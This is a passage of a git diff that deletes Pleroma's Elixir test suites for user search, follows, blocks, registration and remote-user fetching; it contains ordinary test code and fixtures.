query -> - assert user == - User.search(query) - |> List.first() - |> clear_virtual_fields() - end) - end - - test "matches by leading fragment of user domain" do - user = insert(:user, %{nickname: "arandom@dude.com"}) - insert(:user, %{nickname: "iamthedude"}) - - assert [user.id] == User.search("dud") |> Enum.map(& &1.id) - end - - test "ranks full nickname match higher than full name match" do - nicknamed_user = insert(:user, %{nickname: "hj@shigusegubu.club"}) - named_user = insert(:user, %{nickname: "xyz@sample.com", name: "HJ"}) - - results = User.search("hj") - - assert [nicknamed_user.id, named_user.id] == Enum.map(results, & &1.id) - assert Enum.at(results, 0).search_rank > Enum.at(results, 1).search_rank - end - - test "finds users, considering density of matched tokens" do - u1 = insert(:user, %{name: "Bar Bar plus Word Word"}) - u2 = insert(:user, %{name: "Word Word Bar Bar Bar"}) - - assert [u2.id, u1.id] == Enum.map(User.search("bar word"), & &1.id) - end - - test "finds users, boosting ranks of friends and followers" do - u1 = insert(:user) - u2 = insert(:user, %{name: "Doe"}) - follower = insert(:user, %{name: "Doe"}) - friend = insert(:user, %{name: "Doe"}) - - {:ok, follower} = User.follow(follower, u1) - {:ok, u1} = User.follow(u1, friend) - - assert [friend.id, follower.id, u2.id] -- - Enum.map(User.search("doe", resolve: false, for_user: u1), & &1.id) == [] - end - - test "finds followings of user by partial name" do - lizz = insert(:user, %{name: "Lizz"}) - jimi = insert(:user, %{name: "Jimi"}) - following_lizz = insert(:user, %{name: "Jimi Hendrix"}) - following_jimi = insert(:user, %{name: "Lizz Wright"}) - follower_lizz = insert(:user, %{name: "Jimi"}) - - {:ok, lizz} = User.follow(lizz, following_lizz) - {:ok, _jimi} = User.follow(jimi, following_jimi) - {:ok, _follower_lizz} = User.follow(follower_lizz, lizz) - - assert Enum.map(User.search("jimi", following: true, for_user: lizz), & &1.id) == [ - following_lizz.id - ] - - assert User.search("lizz", following: true, for_user: lizz) == [] - end - - test "find local and remote users for authenticated users" do - u1 = insert(:user, %{name: "lain"}) - u2 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) - u3 = insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) - - results = - "lain" - |> User.search(for_user: u1) - |> Enum.map(& &1.id) - |> Enum.sort() - - assert [u1.id, u2.id, u3.id] == results - end - - test "find only local users for unauthenticated users" do - %{id: id} = insert(:user, %{name: "lain"}) - insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) - insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) - - assert [%{id: ^id}] = User.search("lain") - end - - test "find only local users for authenticated users when `limit_to_local_content` is `:all`" do - Pleroma.Config.put([:instance, :limit_to_local_content], :all) - - %{id: id} = insert(:user, %{name: "lain"}) - insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) - insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) - - assert [%{id: ^id}] = User.search("lain") - end - - test "find all users for unauthenticated users when `limit_to_local_content` is `false`" do - Pleroma.Config.put([:instance, :limit_to_local_content], false) - - u1 = insert(:user, %{name: "lain"}) - u2 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) - u3 = insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) - - results = - "lain" - |> User.search() - |> Enum.map(& &1.id) - |> Enum.sort() - - assert [u1.id, u2.id, u3.id] == results - end - - test "does not yield false-positive matches" do - insert(:user, %{name: "John Doe"}) - - Enum.each(["mary", "a", ""], fn query -> - assert [] == User.search(query) - end) - end - - test "works with URIs" do - user = insert(:user) - - results = - User.search("http://mastodon.example.org/users/admin", resolve: true, for_user: user) - - result = results |> List.first() - - user = User.get_cached_by_ap_id("http://mastodon.example.org/users/admin") - - assert length(results) == 1 - - expected = - result - |> Map.put(:search_rank, nil) - |> Map.put(:search_type, nil) - |> Map.put(:last_digest_emailed_at, nil) - |> Map.put(:multi_factor_authentication_settings, nil) - |> Map.put(:notification_settings, nil) - - assert user == expected - end - - test "excludes a blocked users from search result" do - user = insert(:user, %{nickname: "Bill"}) - - [blocked_user | users] = Enum.map(0..3, &insert(:user, %{nickname: "john#{&1}"})) - - blocked_user2 = - insert( - :user, - %{nickname: "john awful", ap_id: "https://awful-and-rude-instance.com/user/bully"} - ) - - User.block_domain(user, "awful-and-rude-instance.com") - User.block(user, blocked_user) - - account_ids = User.search("john", for_user: refresh_record(user)) |> collect_ids - - assert account_ids == collect_ids(users) - refute Enum.member?(account_ids, blocked_user.id) - refute Enum.member?(account_ids, blocked_user2.id) - assert length(account_ids) == 3 - end - - test "local user has the same search_rank as for users with the same nickname, but another domain" do - user = insert(:user) - insert(:user, nickname: "lain@mastodon.social") - insert(:user, nickname: "lain") - insert(:user, nickname: "lain@pleroma.social") - - assert User.search("lain@localhost", resolve: true, for_user: user) - |> Enum.each(fn u -> u.search_rank == 0.5 end) - end - - test "localhost is the part of the domain" do - user = insert(:user) - insert(:user, nickname: "another@somedomain") - insert(:user, nickname: "lain") - insert(:user, nickname: "lain@examplelocalhost") - - result = User.search("lain@examplelocalhost", resolve: true, for_user: user) - assert Enum.each(result, fn u -> u.search_rank == 0.5 end) - assert length(result) == 2 - end - - test "local user search with users" do - user = insert(:user) - local_user = insert(:user, nickname: "lain") - insert(:user, nickname: "another@localhost.com") - insert(:user, nickname: "localhost@localhost.com") - - [result] = User.search("lain@localhost", resolve: true, for_user: user) - assert Map.put(result, :search_rank, nil) |> Map.put(:search_type, nil) == local_user - end - - test "works with idna domains" do - user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) - - results = User.search("lain@zetsubou.みんな", resolve: false, for_user: user) - - result = List.first(results) - - assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) - end - - test "works with idna domains converted input" do - user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) - - results = - User.search("lain@zetsubou." <> to_string(:idna.encode("zetsubou.みんな")), - resolve: false, - for_user: user - ) - - result = List.first(results) - - assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) - end - - test "works with idna domains and bad chars in domain" do - user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) - - results = - User.search("lain@zetsubou!@#$%^&*()+,-/:;<=>?[]'_{}|~`.みんな", - resolve: false, - for_user: user - ) - - result = List.first(results) - - assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) - end - - test "works with idna domains and query as link" do - user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) - - results = - User.search("https://zetsubou.みんな/users/lain", - resolve: false, - for_user: user - ) - - result = List.first(results) - - assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) - end - end -end diff --git a/test/user_test.exs b/test/user_test.exs deleted file mode 100644 index d506f7047..000000000 --- a/test/user_test.exs +++ /dev/null @@ -1,2124 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UserTest do - alias Pleroma.Activity - alias Pleroma.Builders.UserBuilder - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - import ExUnit.CaptureLog - import Swoosh.TestAssertions - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance, :account_activation_required]) - - describe "service actors" do - test "returns updated invisible actor" do - uri = "#{Pleroma.Web.Endpoint.url()}/relay" - followers_uri = "#{uri}/followers" - - insert( - :user, - %{ - nickname: "relay", - invisible: false, - local: true, - ap_id: uri, - follower_address: followers_uri - } - ) - - actor = User.get_or_create_service_actor_by_ap_id(uri, "relay") - assert actor.invisible - end - - test "returns relay user" do - uri = "#{Pleroma.Web.Endpoint.url()}/relay" - followers_uri = "#{uri}/followers" - - assert %User{ - nickname: "relay", - invisible: true, - local: true, - ap_id: ^uri, - follower_address: ^followers_uri - } = User.get_or_create_service_actor_by_ap_id(uri, "relay") - - assert capture_log(fn -> - refute User.get_or_create_service_actor_by_ap_id("/relay", "relay") - end) =~ "Cannot create service actor:" - end - - test "returns invisible actor" do - uri = "#{Pleroma.Web.Endpoint.url()}/internal/fetch-test" - followers_uri = "#{uri}/followers" - user = User.get_or_create_service_actor_by_ap_id(uri, "internal.fetch-test") - - assert %User{ - nickname: "internal.fetch-test", - invisible: true, - local: true, - ap_id: ^uri, - follower_address: ^followers_uri - } = user - - user2 = User.get_or_create_service_actor_by_ap_id(uri, "internal.fetch-test") - assert user.id == user2.id - end - end - - describe "AP ID user relationships" do - setup do - {:ok, user: insert(:user)} - end - - test "outgoing_relationships_ap_ids/1", %{user: user} do - rel_types = [:block, :mute, :notification_mute, :reblog_mute, :inverse_subscription] - - ap_ids_by_rel = - Enum.into( - rel_types, - %{}, - fn rel_type -> - rel_records = - insert_list(2, :user_relationship, %{source: user, relationship_type: rel_type}) - - ap_ids = Enum.map(rel_records, fn rr -> Repo.preload(rr, :target).target.ap_id end) - {rel_type, Enum.sort(ap_ids)} - end - ) - - assert ap_ids_by_rel[:block] == Enum.sort(User.blocked_users_ap_ids(user)) - assert ap_ids_by_rel[:block] == Enum.sort(Enum.map(User.blocked_users(user), & &1.ap_id)) - - assert ap_ids_by_rel[:mute] == Enum.sort(User.muted_users_ap_ids(user)) - assert ap_ids_by_rel[:mute] == Enum.sort(Enum.map(User.muted_users(user), & &1.ap_id)) - - assert ap_ids_by_rel[:notification_mute] == - Enum.sort(User.notification_muted_users_ap_ids(user)) - - assert ap_ids_by_rel[:notification_mute] == - Enum.sort(Enum.map(User.notification_muted_users(user), & &1.ap_id)) - - assert ap_ids_by_rel[:reblog_mute] == Enum.sort(User.reblog_muted_users_ap_ids(user)) - - assert ap_ids_by_rel[:reblog_mute] == - Enum.sort(Enum.map(User.reblog_muted_users(user), & &1.ap_id)) - - assert ap_ids_by_rel[:inverse_subscription] == Enum.sort(User.subscriber_users_ap_ids(user)) - - assert ap_ids_by_rel[:inverse_subscription] == - Enum.sort(Enum.map(User.subscriber_users(user), & &1.ap_id)) - - outgoing_relationships_ap_ids = User.outgoing_relationships_ap_ids(user, rel_types) - - assert ap_ids_by_rel == - Enum.into(outgoing_relationships_ap_ids, %{}, fn {k, v} -> {k, Enum.sort(v)} end) - end - end - - describe "when tags are nil" do - test "tagging a user" do - user = insert(:user, %{tags: nil}) - user = User.tag(user, ["cool", "dude"]) - - assert "cool" in user.tags - assert "dude" in user.tags - end - - test "untagging a user" do - user = insert(:user, %{tags: nil}) - user = User.untag(user, ["cool", "dude"]) - - assert user.tags == [] - end - end - - test "ap_id returns the activity pub id for the user" do - user = UserBuilder.build() - - expected_ap_id = "#{Pleroma.Web.base_url()}/users/#{user.nickname}" - - assert expected_ap_id == User.ap_id(user) - end - - test "ap_followers returns the followers collection for the user" do - user = UserBuilder.build() - - expected_followers_collection = "#{User.ap_id(user)}/followers" - - assert expected_followers_collection == User.ap_followers(user) - end - - test "ap_following returns the following collection for the user" do - user = UserBuilder.build() - - expected_followers_collection = "#{User.ap_id(user)}/following" - - assert expected_followers_collection == User.ap_following(user) - end - - test "returns all pending follow requests" do - unlocked = insert(:user) - locked = insert(:user, locked: true) - follower = insert(:user) - - CommonAPI.follow(follower, unlocked) - CommonAPI.follow(follower, locked) - - assert [] = User.get_follow_requests(unlocked) - assert [activity] = User.get_follow_requests(locked) - - assert activity - end - - test "doesn't return already accepted or duplicate follow requests" do - locked = insert(:user, locked: true) - pending_follower = insert(:user) - accepted_follower = insert(:user) - - CommonAPI.follow(pending_follower, locked) - CommonAPI.follow(pending_follower, locked) - CommonAPI.follow(accepted_follower, locked) - - Pleroma.FollowingRelationship.update(accepted_follower, locked, :follow_accept) - - assert [^pending_follower] = User.get_follow_requests(locked) - end - - test "doesn't return follow requests for deactivated accounts" do - locked = insert(:user, locked: true) - pending_follower = insert(:user, %{deactivated: true}) - - CommonAPI.follow(pending_follower, locked) - - assert true == pending_follower.deactivated - assert [] = User.get_follow_requests(locked) - end - - test "clears follow requests when requester is blocked" do - followed = insert(:user, locked: true) - follower = insert(:user) - - CommonAPI.follow(follower, followed) - assert [_activity] = User.get_follow_requests(followed) - - {:ok, _user_relationship} = User.block(followed, follower) - assert [] = User.get_follow_requests(followed) - end - - test "follow_all follows mutliple users" do - user = insert(:user) - followed_zero = insert(:user) - followed_one = insert(:user) - followed_two = insert(:user) - blocked = insert(:user) - not_followed = insert(:user) - reverse_blocked = insert(:user) - - {:ok, _user_relationship} = User.block(user, blocked) - {:ok, _user_relationship} = User.block(reverse_blocked, user) - - {:ok, user} = User.follow(user, followed_zero) - - {:ok, user} = User.follow_all(user, [followed_one, followed_two, blocked, reverse_blocked]) - - assert User.following?(user, followed_one) - assert User.following?(user, followed_two) - assert User.following?(user, followed_zero) - refute User.following?(user, not_followed) - refute User.following?(user, blocked) - refute User.following?(user, reverse_blocked) - end - - test "follow_all follows mutliple users without duplicating" do - user = insert(:user) - followed_zero = insert(:user) - followed_one = insert(:user) - followed_two = insert(:user) - - {:ok, user} = User.follow_all(user, [followed_zero, followed_one]) - assert length(User.following(user)) == 3 - - {:ok, user} = User.follow_all(user, [followed_one, followed_two]) - assert length(User.following(user)) == 4 - end - - test "follow takes a user and another user" do - user = insert(:user) - followed = insert(:user) - - {:ok, user} = User.follow(user, followed) - - user = User.get_cached_by_id(user.id) - followed = User.get_cached_by_ap_id(followed.ap_id) - - assert followed.follower_count == 1 - assert user.following_count == 1 - - assert User.ap_followers(followed) in User.following(user) - end - - test "can't follow a deactivated users" do - user = insert(:user) - followed = insert(:user, %{deactivated: true}) - - {:error, _} = User.follow(user, followed) - end - - test "can't follow a user who blocked us" do - blocker = insert(:user) - blockee = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blockee) - - {:error, _} = User.follow(blockee, blocker) - end - - test "can't subscribe to a user who blocked us" do - blocker = insert(:user) - blocked = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blocked) - - {:error, _} = User.subscribe(blocked, blocker) - end - - test "local users do not automatically follow local locked accounts" do - follower = insert(:user, locked: true) - followed = insert(:user, locked: true) - - {:ok, follower} = User.maybe_direct_follow(follower, followed) - - refute User.following?(follower, followed) - end - - describe "unfollow/2" do - setup do: clear_config([:instance, :external_user_synchronization]) - - test "unfollow with syncronizes external user" do - Pleroma.Config.put([:instance, :external_user_synchronization], true) - - followed = - insert(:user, - nickname: "fuser1", - follower_address: "http://localhost:4001/users/fuser1/followers", - following_address: "http://localhost:4001/users/fuser1/following", - ap_id: "http://localhost:4001/users/fuser1" - ) - - user = - insert(:user, %{ - local: false, - nickname: "fuser2", - ap_id: "http://localhost:4001/users/fuser2", - follower_address: "http://localhost:4001/users/fuser2/followers", - following_address: "http://localhost:4001/users/fuser2/following" - }) - - {:ok, user} = User.follow(user, followed, :follow_accept) - - {:ok, user, _activity} = User.unfollow(user, followed) - - user = User.get_cached_by_id(user.id) - - assert User.following(user) == [] - end - - test "unfollow takes a user and another user" do - followed = insert(:user) - user = insert(:user) - - {:ok, user} = User.follow(user, followed, :follow_accept) - - assert User.following(user) == [user.follower_address, followed.follower_address] - - {:ok, user, _activity} = User.unfollow(user, followed) - - assert User.following(user) == [user.follower_address] - end - - test "unfollow doesn't unfollow yourself" do - user = insert(:user) - - {:error, _} = User.unfollow(user, user) - - assert User.following(user) == [user.follower_address] - end - end - - test "test if a user is following another user" do - followed = insert(:user) - user = insert(:user) - User.follow(user, followed, :follow_accept) - - assert User.following?(user, followed) - refute User.following?(followed, user) - end - - test "fetches correct profile for nickname beginning with number" do - # Use old-style integer ID to try to reproduce the problem - user = insert(:user, %{id: 1080}) - user_with_numbers = insert(:user, %{nickname: "#{user.id}garbage"}) - assert user_with_numbers == User.get_cached_by_nickname_or_id(user_with_numbers.nickname) - end - - describe "user registration" do - @full_user_data %{ - bio: "A guy", - name: "my name", - nickname: "nick", - password: "test", - password_confirmation: "test", - email: "email@example.com" - } - - setup do: clear_config([:instance, :autofollowed_nicknames]) - setup do: clear_config([:welcome]) - setup do: clear_config([:instance, :account_activation_required]) - - test "it autofollows accounts that are set for it" do - user = insert(:user) - remote_user = insert(:user, %{local: false}) - - Pleroma.Config.put([:instance, :autofollowed_nicknames], [ - user.nickname, - remote_user.nickname - ]) - - cng = User.register_changeset(%User{}, @full_user_data) - - {:ok, registered_user} = User.register(cng) - - assert User.following?(registered_user, user) - refute User.following?(registered_user, remote_user) - end - - test "it sends a welcome message if it is set" do - welcome_user = insert(:user) - Pleroma.Config.put([:welcome, :direct_message, :enabled], true) - Pleroma.Config.put([:welcome, :direct_message, :sender_nickname], welcome_user.nickname) - Pleroma.Config.put([:welcome, :direct_message, :message], "Hello, this is a direct message") - - cng = User.register_changeset(%User{}, @full_user_data) - {:ok, registered_user} = User.register(cng) - ObanHelpers.perform_all() - - activity = Repo.one(Pleroma.Activity) - assert registered_user.ap_id in activity.recipients - assert Object.normalize(activity).data["content"] =~ "direct message" - assert activity.actor == welcome_user.ap_id - end - - test "it sends a welcome chat message if it is set" do - welcome_user = insert(:user) - Pleroma.Config.put([:welcome, :chat_message, :enabled], true) - Pleroma.Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) - Pleroma.Config.put([:welcome, :chat_message, :message], "Hello, this is a chat message") - - cng = User.register_changeset(%User{}, @full_user_data) - {:ok, registered_user} = User.register(cng) - ObanHelpers.perform_all() - - activity = Repo.one(Pleroma.Activity) - assert registered_user.ap_id in activity.recipients - assert Object.normalize(activity).data["content"] =~ "chat message" - assert activity.actor == welcome_user.ap_id - end - - setup do: - clear_config(:mrf_simple, - media_removal: [], - media_nsfw: [], - federated_timeline_removal: [], - report_removal: [], - reject: [], - followers_only: [], - accept: [], - avatar_removal: [], - banner_removal: [], - reject_deletes: [] - ) - - setup do: - clear_config(:mrf, - policies: [ - Pleroma.Web.ActivityPub.MRF.SimplePolicy - ] - ) - - test "it sends a welcome chat message when Simple policy applied to local instance" do - Pleroma.Config.put([:mrf_simple, :media_nsfw], ["localhost"]) - - welcome_user = insert(:user) - Pleroma.Config.put([:welcome, :chat_message, :enabled], true) - Pleroma.Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) - Pleroma.Config.put([:welcome, :chat_message, :message], "Hello, this is a chat message") - - cng = User.register_changeset(%User{}, @full_user_data) - {:ok, registered_user} = User.register(cng) - ObanHelpers.perform_all() - - activity = Repo.one(Pleroma.Activity) - assert registered_user.ap_id in activity.recipients - assert Object.normalize(activity).data["content"] =~ "chat message" - assert activity.actor == welcome_user.ap_id - end - - test "it sends a welcome email message if it is set" do - welcome_user = insert(:user) - Pleroma.Config.put([:welcome, :email, :enabled], true) - Pleroma.Config.put([:welcome, :email, :sender], welcome_user.email) - - Pleroma.Config.put( - [:welcome, :email, :subject], - "Hello, welcome to cool site: <%= instance_name %>" - ) - - instance_name = Pleroma.Config.get([:instance, :name]) - - cng = User.register_changeset(%User{}, @full_user_data) - {:ok, registered_user} = User.register(cng) - ObanHelpers.perform_all() - - assert_email_sent( - from: {instance_name, welcome_user.email}, - to: {registered_user.name, registered_user.email}, - subject: "Hello, welcome to cool site: #{instance_name}", - html_body: "Welcome to #{instance_name}" - ) - end - - test "it sends a confirm email" do - Pleroma.Config.put([:instance, :account_activation_required], true) - - cng = User.register_changeset(%User{}, @full_user_data) - {:ok, registered_user} = User.register(cng) - ObanHelpers.perform_all() - - Pleroma.Emails.UserEmail.account_confirmation_email(registered_user) - # temporary hackney fix until hackney max_connections bug is fixed - # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 - |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) - |> assert_email_sent() - end - - test "it requires an email, name, nickname and password, bio is optional when account_activation_required is enabled" do - Pleroma.Config.put([:instance, :account_activation_required], true) - - @full_user_data - |> Map.keys() - |> Enum.each(fn key -> - params = Map.delete(@full_user_data, key) - changeset = User.register_changeset(%User{}, params) - - assert if key == :bio, do: changeset.valid?, else: not changeset.valid? - end) - end - - test "it requires an name, nickname and password, bio and email are optional when account_activation_required is disabled" do - Pleroma.Config.put([:instance, :account_activation_required], false) - - @full_user_data - |> Map.keys() - |> Enum.each(fn key -> - params = Map.delete(@full_user_data, key) - changeset = User.register_changeset(%User{}, params) - - assert if key in [:bio, :email], do: changeset.valid?, else: not changeset.valid? - end) - end - - test "it restricts certain nicknames" do - [restricted_name | _] = Pleroma.Config.get([User, :restricted_nicknames]) - - assert is_bitstring(restricted_name) - - params = - @full_user_data - |> Map.put(:nickname, restricted_name) - - changeset = User.register_changeset(%User{}, params) - - refute changeset.valid? - end - - test "it blocks blacklisted email domains" do - clear_config([User, :email_blacklist], ["trolling.world"]) - - # Block with match - params = Map.put(@full_user_data, :email, "troll@trolling.world") - changeset = User.register_changeset(%User{}, params) - refute changeset.valid? - - # Block with subdomain match - params = Map.put(@full_user_data, :email, "troll@gnomes.trolling.world") - changeset = User.register_changeset(%User{}, params) - refute changeset.valid? - - # Pass with different domains that are similar - params = Map.put(@full_user_data, :email, "troll@gnomestrolling.world") - changeset = User.register_changeset(%User{}, params) - assert changeset.valid? - - params = Map.put(@full_user_data, :email, "troll@trolling.world.us") - changeset = User.register_changeset(%User{}, params) - assert changeset.valid? - end - - test "it sets the password_hash and ap_id" do - changeset = User.register_changeset(%User{}, @full_user_data) - - assert changeset.valid? - - assert is_binary(changeset.changes[:password_hash]) - assert changeset.changes[:ap_id] == User.ap_id(%User{nickname: @full_user_data.nickname}) - - assert changeset.changes.follower_address == "#{changeset.changes.ap_id}/followers" - end - - test "it sets the 'accepts_chat_messages' set to true" do - changeset = User.register_changeset(%User{}, @full_user_data) - assert changeset.valid? - - {:ok, user} = Repo.insert(changeset) - - assert user.accepts_chat_messages - end - - test "it creates a confirmed user" do - changeset = User.register_changeset(%User{}, @full_user_data) - assert changeset.valid? - - {:ok, user} = Repo.insert(changeset) - - refute user.confirmation_pending - end - end - - describe "user registration, with :account_activation_required" do - @full_user_data %{ - bio: "A guy", - name: "my name", - nickname: "nick", - password: "test", - password_confirmation: "test", - email: "email@example.com" - } - setup do: clear_config([:instance, :account_activation_required], true) - - test "it creates unconfirmed user" do - changeset = User.register_changeset(%User{}, @full_user_data) - assert changeset.valid? - - {:ok, user} = Repo.insert(changeset) - - assert user.confirmation_pending - assert user.confirmation_token - end - - test "it creates confirmed user if :confirmed option is given" do - changeset = User.register_changeset(%User{}, @full_user_data, need_confirmation: false) - assert changeset.valid? - - {:ok, user} = Repo.insert(changeset) - - refute user.confirmation_pending - refute user.confirmation_token - end - end - - describe "user registration, with :account_approval_required" do - @full_user_data %{ - bio: "A guy", - name: "my name", - nickname: "nick", - password: "test", - password_confirmation: "test", - email: "email@example.com", - registration_reason: "I'm a cool guy :)" - } - setup do: clear_config([:instance, :account_approval_required], true) - - test "it creates unapproved user" do - changeset = User.register_changeset(%User{}, @full_user_data) - assert changeset.valid? - - {:ok, user} = Repo.insert(changeset) - - assert user.approval_pending - assert user.registration_reason == "I'm a cool guy :)" - end - - test "it restricts length of registration reason" do - reason_limit = Pleroma.Config.get([:instance, :registration_reason_length]) - - assert is_integer(reason_limit) - - params = - @full_user_data - |> Map.put( - :registration_reason, - "Quia et nesciunt dolores numquam ipsam nisi sapiente soluta. Ullam repudiandae nisi quam porro officiis officiis ad. Consequatur animi velit ex quia. Odit voluptatem perferendis quia ut nisi. Dignissimos sit soluta atque aliquid dolorem ut dolorum ut. Labore voluptates iste iusto amet voluptatum earum. Ad fugit illum nam eos ut nemo. Pariatur ea fuga non aspernatur. Dignissimos debitis officia corporis est nisi ab et. Atque itaque alias eius voluptas minus. Accusamus numquam tempore occaecati in." - ) - - changeset = User.register_changeset(%User{}, params) - - refute changeset.valid? - end - end - - describe "get_or_fetch/1" do - test "gets an existing user by nickname" do - user = insert(:user) - {:ok, fetched_user} = User.get_or_fetch(user.nickname) - - assert user == fetched_user - end - - test "gets an existing user by ap_id" do - ap_id = "http://mastodon.example.org/users/admin" - - user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: ap_id - ) - - {:ok, fetched_user} = User.get_or_fetch(ap_id) - freshed_user = refresh_record(user) - assert freshed_user == fetched_user - end - end - - describe "fetching a user from nickname or trying to build one" do - test "gets an existing user" do - user = insert(:user) - {:ok, fetched_user} = User.get_or_fetch_by_nickname(user.nickname) - - assert user == fetched_user - end - - test "gets an existing user, case insensitive" do - user = insert(:user, nickname: "nick") - {:ok, fetched_user} = User.get_or_fetch_by_nickname("NICK") - - assert user == fetched_user - end - - test "gets an existing user by fully qualified nickname" do - user = insert(:user) - - {:ok, fetched_user} = - User.get_or_fetch_by_nickname(user.nickname <> "@" <> Pleroma.Web.Endpoint.host()) - - assert user == fetched_user - end - - test "gets an existing user by fully qualified nickname, case insensitive" do - user = insert(:user, nickname: "nick") - casing_altered_fqn = String.upcase(user.nickname <> "@" <> Pleroma.Web.Endpoint.host()) - - {:ok, fetched_user} = User.get_or_fetch_by_nickname(casing_altered_fqn) - - assert user == fetched_user - end - - @tag capture_log: true - test "returns nil if no user could be fetched" do - {:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant@social.heldscal.la") - assert fetched_user == "not found nonexistant@social.heldscal.la" - end - - test "returns nil for nonexistant local user" do - {:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant") - assert fetched_user == "not found nonexistant" - end - - test "updates an existing user, if stale" do - a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) - - orig_user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: "http://mastodon.example.org/users/admin", - last_refreshed_at: a_week_ago - ) - - assert orig_user.last_refreshed_at == a_week_ago - - {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin") - - assert user.inbox - - refute user.last_refreshed_at == orig_user.last_refreshed_at - end - - test "if nicknames clash, the old user gets a prefix with the old id to the nickname" do - a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) - - orig_user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: "http://mastodon.example.org/users/harinezumigari", - last_refreshed_at: a_week_ago - ) - - assert orig_user.last_refreshed_at == a_week_ago - - {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin") - - assert user.inbox - - refute user.id == orig_user.id - - orig_user = User.get_by_id(orig_user.id) - - assert orig_user.nickname == "#{orig_user.id}.admin@mastodon.example.org" - end - - @tag capture_log: true - test "it returns the old user if stale, but unfetchable" do - a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) - - orig_user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: "http://mastodon.example.org/users/raymoo", - last_refreshed_at: a_week_ago - ) - - assert orig_user.last_refreshed_at == a_week_ago - - {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/raymoo") - - assert user.last_refreshed_at == orig_user.last_refreshed_at - end - end - - test "returns an ap_id for a user" do - user = insert(:user) - - assert User.ap_id(user) == - Pleroma.Web.Router.Helpers.user_feed_url( - Pleroma.Web.Endpoint, - :feed_redirect, - user.nickname - ) - end - - test "returns an ap_followers link for a user" do - user = insert(:user) - - assert User.ap_followers(user) == - Pleroma.Web.Router.Helpers.user_feed_url( - Pleroma.Web.Endpoint, - :feed_redirect, - user.nickname - ) <> "/followers" - end - - describe "remote user changeset" do - @valid_remote %{ - bio: "hello", - name: "Someone", - nickname: "a@b.de", - ap_id: "http...", - avatar: %{some: "avatar"} - } - setup do: clear_config([:instance, :user_bio_length]) - setup do: clear_config([:instance, :user_name_length]) - - test "it confirms validity" do - cs = User.remote_user_changeset(@valid_remote) - assert cs.valid? - end - - test "it sets the follower_adress" do - cs = User.remote_user_changeset(@valid_remote) - # remote users get a fake local follower address - assert cs.changes.follower_address == - User.ap_followers(%User{nickname: @valid_remote[:nickname]}) - end - - test "it enforces the fqn format for nicknames" do - cs = User.remote_user_changeset(%{@valid_remote | nickname: "bla"}) - assert Ecto.Changeset.get_field(cs, :local) == false - assert cs.changes.avatar - refute cs.valid? - end - - test "it has required fields" do - [:ap_id] - |> Enum.each(fn field -> - cs = User.remote_user_changeset(Map.delete(@valid_remote, field)) - refute cs.valid? - end) - end - end - - describe "followers and friends" do - test "gets all followers for a given user" do - user = insert(:user) - follower_one = insert(:user) - follower_two = insert(:user) - not_follower = insert(:user) - - {:ok, follower_one} = User.follow(follower_one, user) - {:ok, follower_two} = User.follow(follower_two, user) - - res = User.get_followers(user) - - assert Enum.member?(res, follower_one) - assert Enum.member?(res, follower_two) - refute Enum.member?(res, not_follower) - end - - test "gets all friends (followed users) for a given user" do - user = insert(:user) - followed_one = insert(:user) - followed_two = insert(:user) - not_followed = insert(:user) - - {:ok, user} = User.follow(user, followed_one) - {:ok, user} = User.follow(user, followed_two) - - res = User.get_friends(user) - - followed_one = User.get_cached_by_ap_id(followed_one.ap_id) - followed_two = User.get_cached_by_ap_id(followed_two.ap_id) - assert Enum.member?(res, followed_one) - assert Enum.member?(res, followed_two) - refute Enum.member?(res, not_followed) - end - end - - describe "updating note and follower count" do - test "it sets the note_count property" do - note = insert(:note) - - user = User.get_cached_by_ap_id(note.data["actor"]) - - assert user.note_count == 0 - - {:ok, user} = User.update_note_count(user) - - assert user.note_count == 1 - end - - test "it increases the note_count property" do - note = insert(:note) - user = User.get_cached_by_ap_id(note.data["actor"]) - - assert user.note_count == 0 - - {:ok, user} = User.increase_note_count(user) - - assert 